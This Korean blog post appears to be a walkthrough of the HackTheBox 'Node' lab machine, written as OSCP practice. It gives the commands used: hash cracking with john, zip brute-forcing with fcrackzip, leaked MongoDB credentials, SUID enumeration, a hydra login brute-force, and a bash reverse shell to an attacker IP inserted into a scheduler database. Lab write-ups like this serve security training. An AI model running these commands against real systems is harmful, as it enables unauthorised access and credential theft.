OSCP/HackTheBox

[Linux] Node (CTF, no OSCP level)

우와해커 2020. 9. 3. 17:04

이 문제는 굉장히 어렵다.... OSCP 수준을 한참 넘어섰다고 본다.

Node.js, mongodb에 대한 부분을 알 수 있어서 좋긴했다.

 

User 플래그 따는건 인정, Root 플래그는 선넘었다 ㄹㅇ....

 

 

인가 미흡에 따른 취약점, 계정 DB 정보가 노출된다.

자세히 안보면 놓치기 쉽다.

/api/users

/api/users/latest

 

hash-identifier로 해쉬 값 확인 후 john 돌려주면 바로 비밀번호가 해독된다.

john --format=Raw-SHA256 hash.txt

 

어드민 로그인을 하면 backup 파일을 받을 수 있다.

Node.js 코어 코드인 app.js에 DB 암호가 저장되어 있다.

>cat app.js
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

 

DB파일은 base64로 디코드 후  file로 타입을 체크한다.

zip 파일이라는 것을 알 수 있으며, 비밀번호가 걸려있다는 것을 알 수 있다.

 

zip 비밀번호 브루트포스

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

 

 

동일한 비밀번호를 사용하여 mark로 SSH로 로그인 가능했다.

ssh mark@10.10.1.58
5AYRft73VtFpc84k

 

su 권한 체크, root권한상승을 위해서는 backup을 실행할 수 있는 tom 계정으로 로그인이 필요했다.

mark@node:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
......
/usr/local/bin/backup

 

Enumeration 진행시 tom의 계쩡으로 실행중인 프로세스를 확인할 수 있다.

몽고 디비로 로그인 후 리버스 쉘 삽입이 가능했다.

linpeas.sh
tom       1221  0.0  7.1 1025316 54312 ?       Ssl  06:10   0:02 /usr/bin/node /var/www/myplace/app.js
tom       1222  0.0  5.4 1008568 41268 ?       Ssl  06:10   0:01 /usr/bin/node /var/scheduler/app.js

or
mark@node:/var/www/myplace$ ps -aux | grep tom
tom       1221  0.0  5.5 1025316 42356 ?       Ssl  06:10   0:02 /usr/bin/node /var/www/myplace/app.js
tom       1222  0.0  4.1 1008568 31644 ?       Ssl  06:10   0:01 /usr/bin/node /var/scheduler/app.js
mark     18581  0.0  0.1  14228   992 pts/0    S+   08:14   0:00 grep --color=auto tom



mark@node:/var/www/myplace$ cd /var/scheduler/
mark@node:/var/scheduler$ cat app.js 
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
																																																														

mongo -u mark -p 5AYRft73VtFpc84k 127.0.0.1:27017/scheduler
> help
> show.collections
tasks
> db.tasks.find()						
> db.tasks.insert({cmd:"bash -c 'bash -i >& /dev/tcp/10.10.14.31/4444 0>&1'"})	

 

tom 쉘에 접근하면 user.txt를 확보 할 수 있다.

root 권한상승은 CTF 급이다.  여기부턴 정리안함.

 

번외 json 히드라

hydra -l myP14ceAdm1nAcc0uNT -P rockyou.txt 10.10.10.58 -s 3000 http-post-form
"/api/session/authenticate:{\"username\"\:\"^USER.^\",\"password\"\:\"^PASS^\"}:Authenticatio
n failed:H=Content-Type\: application/json" -t 64

'OSCP > HackTheBox' 카테고리의 다른 글

[Linux] Valentine  (0) 2020.09.08
[Linux] Haircut  (0) 2020.09.07
[Linux] Cronos  (1) 2020.09.02
[Linux] Popcorn  (0) 2020.09.01
[Linux] Jarvis  (0) 2020.08.28